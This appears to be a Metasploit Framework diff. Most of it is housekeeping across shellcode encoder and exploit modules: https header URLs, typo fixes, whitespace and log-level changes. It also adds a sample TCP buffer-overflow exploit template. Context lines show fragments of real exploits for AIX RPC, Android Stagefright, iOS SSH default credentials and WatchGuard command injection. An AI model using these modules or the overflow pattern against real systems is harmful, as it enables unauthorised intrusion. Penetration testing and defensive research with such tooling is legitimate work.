-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Encoder
-
   Rank = ManualRanking
 
   def initialize
diff --git a/modules/encoders/x86/alpha_mixed.rb b/modules/encoders/x86/alpha_mixed.rb
index fad71a4e82..b78219a446 100644
--- a/modules/encoders/x86/alpha_mixed.rb
+++ b/modules/encoders/x86/alpha_mixed.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/encoders/x86/alpha_upper.rb b/modules/encoders/x86/alpha_upper.rb
index c8bdf3257d..515b95a552 100644
--- a/modules/encoders/x86/alpha_upper.rb
+++ b/modules/encoders/x86/alpha_upper.rb
@@ -1,14 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'rex/encoder/alpha2/alpha_upper'
 
-
 class MetasploitModule < Msf::Encoder::Alphanum
-
   Rank = LowRanking
 
   def initialize
diff --git a/modules/encoders/x86/avoid_underscore_tolower.rb b/modules/encoders/x86/avoid_underscore_tolower.rb
index 714be4b93c..747c7772f0 100644
--- a/modules/encoders/x86/avoid_underscore_tolower.rb
+++ b/modules/encoders/x86/avoid_underscore_tolower.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Encoder
 
   # This encoder has a manual ranking because it should only be used in cases
@@ -196,5 +195,4 @@ class MetasploitModule < Msf::Encoder
   def is_badchar(state, val)
     (val >= 0x41 and val <= 0x5a) or val == 0x5f or Rex::Text.badchar_index([val].pack('C'), state.badchars)
   end
-
 end
diff --git a/modules/encoders/x86/avoid_utf8_tolower.rb b/modules/encoders/x86/avoid_utf8_tolower.rb
index 641c05dfe0..f4c4c570f1 100644
--- a/modules/encoders/x86/avoid_utf8_tolower.rb
+++ b/modules/encoders/x86/avoid_utf8_tolower.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 #
 # NOTE: Read this if you plan on using this encoder:
 #
@@ -255,5 +253,4 @@ class MetasploitModule < Msf::Encoder
   def is_badchar(state, val)
     ((val >= 0x41 and val <= 0x5a) or val >= 0x80) or Rex::Text.badchar_index([val].pack('C'), state.badchars)
   end
-
 end
diff --git a/modules/encoders/x86/bloxor.rb b/modules/encoders/x86/bloxor.rb
index e0b7d32555..cce2038c83 100644
--- a/modules/encoders/x86/bloxor.rb
+++ b/modules/encoders/x86/bloxor.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -46,5 +46,4 @@ class MetasploitModule < Rex::Encoder::BloXor
 
     super( state )
   end
-
 end
diff --git a/modules/encoders/x86/bmp_polyglot.rb b/modules/encoders/x86/bmp_polyglot.rb
index e7dc242717..1d22807ee6 100644
--- a/modules/encoders/x86/bmp_polyglot.rb
+++ b/modules/encoders/x86/bmp_polyglot.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -172,11 +172,9 @@ class SizeCalculator
   def round_up_to_nop(opcode)
     BYTE_NOPS.find { |nop| opcode <= nop }
   end
-
 end
 
 class MetasploitModule < Msf::Encoder
-
   Rank = ManualRanking
 
   DESTEGO_STUB_SIZE = 53
diff --git a/modules/encoders/x86/call4_dword_xor.rb b/modules/encoders/x86/call4_dword_xor.rb
index 0505462fcb..caf95d2460 100644
--- a/modules/encoders/x86/call4_dword_xor.rb
+++ b/modules/encoders/x86/call4_dword_xor.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Encoder::Xor
 
   def initialize
@@ -62,5 +60,4 @@ class MetasploitModule < Msf::Encoder::Xor
   def saved_registers
     Rex::Arch::X86.register_names_to_ids(datastore['SaveRegisters'])
   end
-
 end
diff --git a/modules/encoders/x86/context_cpuid.rb b/modules/encoders/x86/context_cpuid.rb
index 10f3364b60..ff28dcf74e 100644
--- a/modules/encoders/x86/context_cpuid.rb
+++ b/modules/encoders/x86/context_cpuid.rb
@@ -1,9 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/poly'
+
 class MetasploitModule < Msf::Encoder::XorAdditiveFeedback
 
   # Manual ranking because the cpuid value is generated and supplied
@@ -192,5 +193,4 @@ protected
       Rex::Arch::X86::ESP,
       Rex::Arch::X86::ECX ], nil, state.badchars)
   end
-
 end
diff --git a/modules/encoders/x86/context_stat.rb b/modules/encoders/x86/context_stat.rb
index 72490cff96..60aa0142b2 100644
--- a/modules/encoders/x86/context_stat.rb
+++ b/modules/encoders/x86/context_stat.rb
@@ -1,9 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/poly'
+
 class MetasploitModule < Msf::Encoder::XorAdditiveFeedback
 
   # Manual ranking because the stat(2) key is generated and supplied
@@ -195,5 +196,4 @@ protected
       Rex::Arch::X86::ESP,
       Rex::Arch::X86::ECX ], nil, state.badchars)
   end
-
 end
diff --git a/modules/encoders/x86/context_time.rb b/modules/encoders/x86/context_time.rb
index 07707b6aee..667c661edc 100644
--- a/modules/encoders/x86/context_time.rb
+++ b/modules/encoders/x86/context_time.rb
@@ -1,9 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/poly'
+
 class MetasploitModule < Msf::Encoder::XorAdditiveFeedback
 
   # Manual ranking because the time(2) key is generated and supplied
@@ -181,5 +182,4 @@ protected
       Rex::Arch::X86::ESP,
       Rex::Arch::X86::ECX ], nil, state.badchars)
   end
-
 end
diff --git a/modules/encoders/x86/countdown.rb b/modules/encoders/x86/countdown.rb
index a52dc1e734..34eba85b9c 100644
--- a/modules/encoders/x86/countdown.rb
+++ b/modules/encoders/x86/countdown.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Encoder::Xor
 
   def initialize
diff --git a/modules/encoders/x86/fnstenv_mov.rb b/modules/encoders/x86/fnstenv_mov.rb
index 5a0fec1a47..dc3bdcdd55 100644
--- a/modules/encoders/x86/fnstenv_mov.rb
+++ b/modules/encoders/x86/fnstenv_mov.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Encoder::Xor
 
   def initialize
diff --git a/modules/encoders/x86/jmp_call_additive.rb b/modules/encoders/x86/jmp_call_additive.rb
index fa1c46c8e1..dac0725afa 100644
--- a/modules/encoders/x86/jmp_call_additive.rb
+++ b/modules/encoders/x86/jmp_call_additive.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Encoder::XorAdditiveFeedback
 
   # Uncomment when we get the poly stuff working again.
@@ -44,5 +42,4 @@ class MetasploitModule < Msf::Encoder::XorAdditiveFeedback
   def encode_end(state)
     state.encoded += [ state.key ].pack(state.decoder_key_pack)
   end
-
 end
diff --git a/modules/encoders/x86/nonalpha.rb b/modules/encoders/x86/nonalpha.rb
index 172c73a8be..9c3ed680f8 100644
--- a/modules/encoders/x86/nonalpha.rb
+++ b/modules/encoders/x86/nonalpha.rb
@@ -1,14 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'rex/encoder/nonalpha'
 
-
 class MetasploitModule < Msf::Encoder::NonAlpha
-
   Rank = LowRanking
 
   def initialize
diff --git a/modules/encoders/x86/nonupper.rb b/modules/encoders/x86/nonupper.rb
index c930fe923a..6a67a1e58e 100644
--- a/modules/encoders/x86/nonupper.rb
+++ b/modules/encoders/x86/nonupper.rb
@@ -1,14 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'rex/encoder/nonupper'
 
-
 class MetasploitModule < Msf::Encoder::NonUpper
-
   Rank = LowRanking
 
   def initialize
diff --git a/modules/encoders/x86/opt_sub.rb b/modules/encoders/x86/opt_sub.rb
index a494b0bab2..4175c48512 100644
--- a/modules/encoders/x86/opt_sub.rb
+++ b/modules/encoders/x86/opt_sub.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Encoder
-
   Rank = ManualRanking
 
   ASM_SUBESP20 = "\x83\xEC\x20"
diff --git a/modules/encoders/x86/service.rb b/modules/encoders/x86/service.rb
index 27da8df89c..f9fe0edab1 100644
--- a/modules/encoders/x86/service.rb
+++ b/modules/encoders/x86/service.rb
@@ -1,4 +1,10 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
 require 'metasm'
+
 class MetasploitModule < Msf::Encoder
 
     Rank = ManualRanking
@@ -122,5 +128,4 @@ class MetasploitModule < Msf::Encoder
 
         return push_registers + code_service + pop_registers + block
     end
-
 end
diff --git a/modules/encoders/x86/shikata_ga_nai.rb b/modules/encoders/x86/shikata_ga_nai.rb
index 563b0f4c40..1cf261d716 100644
--- a/modules/encoders/x86/shikata_ga_nai.rb
+++ b/modules/encoders/x86/shikata_ga_nai.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'rex/poly'
 
 class MetasploitModule < Msf::Encoder::XorAdditiveFeedback
@@ -312,5 +311,4 @@ protected
   def dec(regnum)
     [0x48 + regnum].pack('C')
   end
-
 end
diff --git a/modules/encoders/x86/single_static_bit.rb b/modules/encoders/x86/single_static_bit.rb
index 0e5ab48239..8c601828b7 100644
--- a/modules/encoders/x86/single_static_bit.rb
+++ b/modules/encoders/x86/single_static_bit.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 #
 # NOTE: this encoder currently has only be tested using bit 5 set to on.
 #
@@ -209,5 +208,4 @@ class MetasploitModule < Msf::Encoder
     state.encoded.sub!(marker_str, enc_len_str)
     state.encoded.sub!(marker_str, xor_key_str)
   end
-
 end
diff --git a/modules/encoders/x86/unicode_mixed.rb b/modules/encoders/x86/unicode_mixed.rb
index c30956529e..2710ce2823 100644
--- a/modules/encoders/x86/unicode_mixed.rb
+++ b/modules/encoders/x86/unicode_mixed.rb
@@ -1,14 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'rex/encoder/alpha2/unicode_mixed'
 
-
 class MetasploitModule < Msf::Encoder::Alphanum
-
   Rank = ManualRanking
 
   def initialize
@@ -62,5 +59,4 @@ class MetasploitModule < Msf::Encoder::Alphanum
   def to_native(buffer)
     Rex::Text.to_unicode(buffer)
   end
-
 end
diff --git a/modules/encoders/x86/unicode_upper.rb b/modules/encoders/x86/unicode_upper.rb
index c049f82c46..f012ae2ea0 100644
--- a/modules/encoders/x86/unicode_upper.rb
+++ b/modules/encoders/x86/unicode_upper.rb
@@ -1,14 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'rex/encoder/alpha2/unicode_upper'
 
-
 class MetasploitModule < Msf::Encoder::Alphanum
-
   Rank = ManualRanking
 
   def initialize
@@ -62,5 +59,4 @@ class MetasploitModule < Msf::Encoder::Alphanum
   def to_native(buffer)
     Rex::Text.to_unicode(buffer)
   end
-
 end
diff --git a/modules/exploits/aix/local/ibstat_path.rb b/modules/exploits/aix/local/ibstat_path.rb
index c28829086b..731e4b07cb 100644
--- a/modules/exploits/aix/local/ibstat_path.rb
+++ b/modules/exploits/aix/local/ibstat_path.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Local
-
   Rank = ExcellentRanking
 
   include Msf::Post::File
@@ -167,8 +166,7 @@ chmod 4555 #{root_file}
       return true
     end
 
-    print_status("Exploit failed")
+    print_error("Exploit failed")
     false
   end
-
 end
diff --git a/modules/exploits/aix/rpc_cmsd_opcode21.rb b/modules/exploits/aix/rpc_cmsd_opcode21.rb
index f974f5ee56..9a8759d696 100644
--- a/modules/exploits/aix/rpc_cmsd_opcode21.rb
+++ b/modules/exploits/aix/rpc_cmsd_opcode21.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GreatRanking
 
@@ -83,7 +81,7 @@ class MetasploitModule < Msf::Exploit::Remote
       # spray the heap a bit (work around powerpc cache issues)
       buf = make_nops(1024 - @aixpayload.length)
       buf << @aixpayload
-      xdr = XDR.encode(buf, buf)
+      xdr = Rex::Encoder::XDR.encode(buf, buf)
       10.times {
         sunrpc_call(7, xdr, 2)
       }
@@ -93,7 +91,7 @@ class MetasploitModule < Msf::Exploit::Remote
       buf = rand_text_alphanumeric(payload_space)
       buf << [brute_target['Ret']].pack('N')
 
-      xdr = XDR.encode(buf, "")
+      xdr = Rex::Encoder::XDR.encode(buf, "")
       sunrpc_authunix('localhost', 0, 0, [])
       sunrpc_call(21, xdr, 2)
 
@@ -108,5 +106,4 @@ class MetasploitModule < Msf::Exploit::Remote
       vprint_error('EOFError')
     end
   end
-
 end
diff --git a/modules/exploits/aix/rpc_ttdbserverd_realpath.rb b/modules/exploits/aix/rpc_ttdbserverd_realpath.rb
index 27a6b75d66..b882493605 100644
--- a/modules/exploits/aix/rpc_ttdbserverd_realpath.rb
+++ b/modules/exploits/aix/rpc_ttdbserverd_realpath.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GreatRanking
 
@@ -262,7 +261,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
       buf << "\x7f\xff\xfb\x78" * 1920
       buf << @aixpayload
-      buf = XDR.encode(buf, 2, 0x78000000, 2, 0x78000000)
+      buf = Rex::Encoder::XDR.encode(buf, 2, 0x78000000, 2, 0x78000000)
 
       print_status('Sending procedure 15 call message...')
       sunrpc_call(15, buf)
@@ -276,5 +275,4 @@ class MetasploitModule < Msf::Exploit::Remote
       # print_error('EOFError')
     end
   end
-
 end
diff --git a/modules/exploits/android/adb/adb_server_exec.rb b/modules/exploits/android/adb/adb_server_exec.rb
index 6d7709aec7..3edb5aef44 100644
--- a/modules/exploits/android/adb/adb_server_exec.rb
+++ b/modules/exploits/android/adb/adb_server_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -80,5 +80,4 @@ class MetasploitModule < Msf::Exploit::Remote
       disconnect
     end
   end
-
 end
diff --git a/modules/exploits/android/browser/samsung_knox_smdm_url.rb b/modules/exploits/android/browser/samsung_knox_smdm_url.rb
index 78f16de9c6..2bdad19240 100644
--- a/modules/exploits/android/browser/samsung_knox_smdm_url.rb
+++ b/modules/exploits/android/browser/samsung_knox_smdm_url.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/android/browser/stagefright_mp4_tx3g_64bit.rb b/modules/exploits/android/browser/stagefright_mp4_tx3g_64bit.rb
index 72f037d167..7a2b69561e 100644
--- a/modules/exploits/android/browser/stagefright_mp4_tx3g_64bit.rb
+++ b/modules/exploits/android/browser/stagefright_mp4_tx3g_64bit.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => "Android Stagefright MP4 tx3g Integer Overflow",
       'Description'    => %q{
-          This module exploits a integer overflow vulnerability in the Stagefright
+          This module exploits an integer overflow vulnerability in the Stagefright
         Library (libstagefright.so). The vulnerability occurs when parsing specially
         crafted MP4 files. While a wide variety of remote attack vectors exist, this
         particular exploit is designed to work within an HTML5 compliant browser.
@@ -50,6 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote
         ],
       'References'     =>
         [
+          [ 'AKA', 'stagefright' ],
           [ 'CVE', '2015-3864' ],
           [ 'URL', 'https://blog.exodusintel.com/2015/08/13/stagefright-mission-accomplished/' ],
           [ 'URL', 'http://googleprojectzero.blogspot.com/2015/09/stagefrightened.html' ],
@@ -1206,5 +1207,4 @@ Please wait while we locate your content...
 
     details[my_target['Rop']]
   end
-
 end
diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb
index abe393c7a6..0d806d8e89 100644
--- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb
+++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/android/fileformat/adobe_reader_pdf_js_interface.rb b/modules/exploits/android/fileformat/adobe_reader_pdf_js_interface.rb
index 4be60ba2ac..1bcabf54c1 100644
--- a/modules/exploits/android/fileformat/adobe_reader_pdf_js_interface.rb
+++ b/modules/exploits/android/fileformat/adobe_reader_pdf_js_interface.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -132,5 +132,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     @pdf
   end
-
 end
diff --git a/modules/exploits/android/local/futex_requeue.rb b/modules/exploits/android/local/futex_requeue.rb
index 7e3eabad70..2acd014f5e 100644
--- a/modules/exploits/android/local/futex_requeue.rb
+++ b/modules/exploits/android/local/futex_requeue.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Local
         'Name'          => "Android 'Towelroot' Futex Requeue Kernel Exploit",
         'Description'   => %q{
             This module exploits a bug in futex_requeue in the Linux kernel, using
-            similiar techniques employed by the towelroot exploit. Any Android device
+            similar techniques employed by the towelroot exploit. Any Android device
             with a kernel built before June 2014 is likely to be vulnerable.
         },
         'License'       => MSF_LICENSE,
diff --git a/modules/exploits/android/local/put_user_vroot.rb b/modules/exploits/android/local/put_user_vroot.rb
index bdd8deb2bc..980d66bc27 100644
--- a/modules/exploits/android/local/put_user_vroot.rb
+++ b/modules/exploits/android/local/put_user_vroot.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -74,6 +74,5 @@ class MetasploitModule < Msf::Exploit::Local
     session.fs.file.rm(remote_file)
     print_status("Waiting #{datastore['WfsDelay']} seconds for payload")
   end
-
 end
 
diff --git a/modules/exploits/apple_ios/browser/safari_libtiff.rb b/modules/exploits/apple_ios/browser/safari_libtiff.rb
index f0060e7ab6..67a25f4f3f 100644
--- a/modules/exploits/apple_ios/browser/safari_libtiff.rb
+++ b/modules/exploits/apple_ios/browser/safari_libtiff.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -164,5 +164,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     tiff << hehe
   end
-
 end
diff --git a/modules/exploits/apple_ios/email/mobilemail_libtiff.rb b/modules/exploits/apple_ios/email/mobilemail_libtiff.rb
index 3861999a27..0fd922179c 100644
--- a/modules/exploits/apple_ios/email/mobilemail_libtiff.rb
+++ b/modules/exploits/apple_ios/email/mobilemail_libtiff.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -166,5 +166,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     tiff << hehe
   end
-
 end
diff --git a/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb b/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb
index 1518f840f8..781db9a106 100644
--- a/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb
+++ b/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -125,7 +125,7 @@ class MetasploitModule < Msf::Exploit::Remote
       print_status("#{rhost}:#{rport} - Attempt to login as '#{user}' with password '#{pass}'")
       conn = do_login(user, pass)
       if conn
-        print_good("#{rhost}:#{rport} - Login Successful with '#{user}:#{pass}'")
+        print_good("#{rhost}:#{rport} - Login Successful ('#{user}:#{pass})")
         handler(conn.lsock)
         break
       end
diff --git a/modules/exploits/bsdi/softcart/mercantec_softcart.rb b/modules/exploits/bsdi/softcart/mercantec_softcart.rb
index 12f34d9552..e8595e97ad 100644
--- a/modules/exploits/bsdi/softcart/mercantec_softcart.rb
+++ b/modules/exploits/bsdi/softcart/mercantec_softcart.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GreatRanking
 
@@ -87,5 +85,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/dialup/multi/login/manyargs.rb b/modules/exploits/dialup/multi/login/manyargs.rb
index 2715190bad..ed10140677 100644
--- a/modules/exploits/dialup/multi/login/manyargs.rb
+++ b/modules/exploits/dialup/multi/login/manyargs.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'		=> 'System V Derived /bin/login Extraneous Arguments Buffer Overflow',
       'Description'	=> %q{
           This exploit connects to a system's modem over dialup and exploits
-        a buffer overlflow vulnerability in it's System V derived /bin/login.
+        a buffer overflow vulnerability in it's System V derived /bin/login.
         The vulnerability is triggered by providing a large number of arguments.
       },
       'References'     =>
@@ -212,5 +212,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     disconnect_dialup
   end
-
 end
diff --git a/modules/exploits/example.rb b/modules/exploits/example.rb
new file mode 100644
index 0000000000..16bb686da7
--- /dev/null
+++ b/modules/exploits/example.rb
@@ -0,0 +1,97 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+###
+#
+# This exploit sample shows how an exploit module could be written to exploit
+# a bug in an arbitrary TCP server.
+#
+###
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  #
+  # This exploit affects TCP servers, so we use the TCP client mixin.
+  # See ./documentation/samples/vulnapps/testsrv/testsrv.c for building the
+  # vulnerable target program.
+  #
+  include Exploit::Remote::Tcp
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        # The Name should be just like the line of a Git commit - software name,
+        # vuln type, class. It needs to fit in 50 chars ideally. Preferably apply
+        # some search optimization so people can actually find the module.
+        # We encourage consistency between module name and file name.
+        'Name'           => 'Sample Exploit',
+        'Description'    => %q(
+            This exploit module illustrates how a vulnerability could be exploited
+          in an TCP server that has a parsing bug.
+        ),
+        'License'        => MSF_LICENSE,
+        'Author'         => ['skape'],
+        'References'     =>
+          [
+            [ 'OSVDB', '12345' ],
+            [ 'EDB', '12345' ],
+            [ 'URL', 'http://www.example.com'],
+            [ 'CVE', '1978-1234']
+          ],
+        'Payload'        =>
+          {
+            'Space'    => 1000,
+            'BadChars' => "\x00"
+          },
+        'Targets'        =>
+          [
+            # Target 0: Windows All
+            [
+              'Windows XP/Vista/7/8',
+              {
+                'Platform' => 'win',
+                'Ret'      => 0x41424344
+              }
+            ]
+          ],
+        'DisclosureDate' => "Apr 1 2013",
+        # Note that this is by index, rather than name. It's generally easiest
+        # just to put the default at the beginning of the list and skip this
+        # entirely.
+        'DefaultTarget'  => 0
+      )
+    )
+  end
+
+  #
+  # The sample exploit just indicates that the remote host is always
+  # vulnerable.
+  #
+  def check
+    Exploit::CheckCode::Vulnerable
+  end
+
+  #
+  # The exploit method connects to the remote service and sends 1024 random bytes
+  # followed by the fake return address and then the payload.
+  #
+  def exploit
+    connect
+
+    print_status("Sending #{payload.encoded.length} byte payload...")
+
+    # Build the buffer for transmission
+    buf = rand_text_alpha(1024)
+    buf << [ target.ret ].pack('V')
+    buf << payload.encoded
+
+    # Send it off
+    sock.put(buf)
+    sock.get_once
+
+    handler
+  end
+end
diff --git a/modules/exploits/firefox/local/exec_shellcode.rb b/modules/exploits/firefox/local/exec_shellcode.rb
index 4b399fca7e..1be097fd96 100644
--- a/modules/exploits/firefox/local/exec_shellcode.rb
+++ b/modules/exploits/firefox/local/exec_shellcode.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb b/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb
index becc932481..afe89d5ab1 100644
--- a/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb
+++ b/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -204,5 +204,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb
index bff243231d..f03ba0e38d 100644
--- a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb
+++ b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
@@ -78,7 +77,7 @@ class MetasploitModule < Msf::Exploit::Remote
     # Get a valid session by logging in or exploiting SQLi to add user
     print_status('Getting a valid session...')
     @sid = get_session
-    print_status('Successfully logged in')
+    print_good('Successfully logged in')
 
     # Check if cmd injection works
     test_cmd_inj = send_cmd_exec('/ADMIN/mailqueue.spl', 'id')
@@ -274,5 +273,4 @@ class MetasploitModule < Msf::Exploit::Remote
   def autofilter
     true
   end
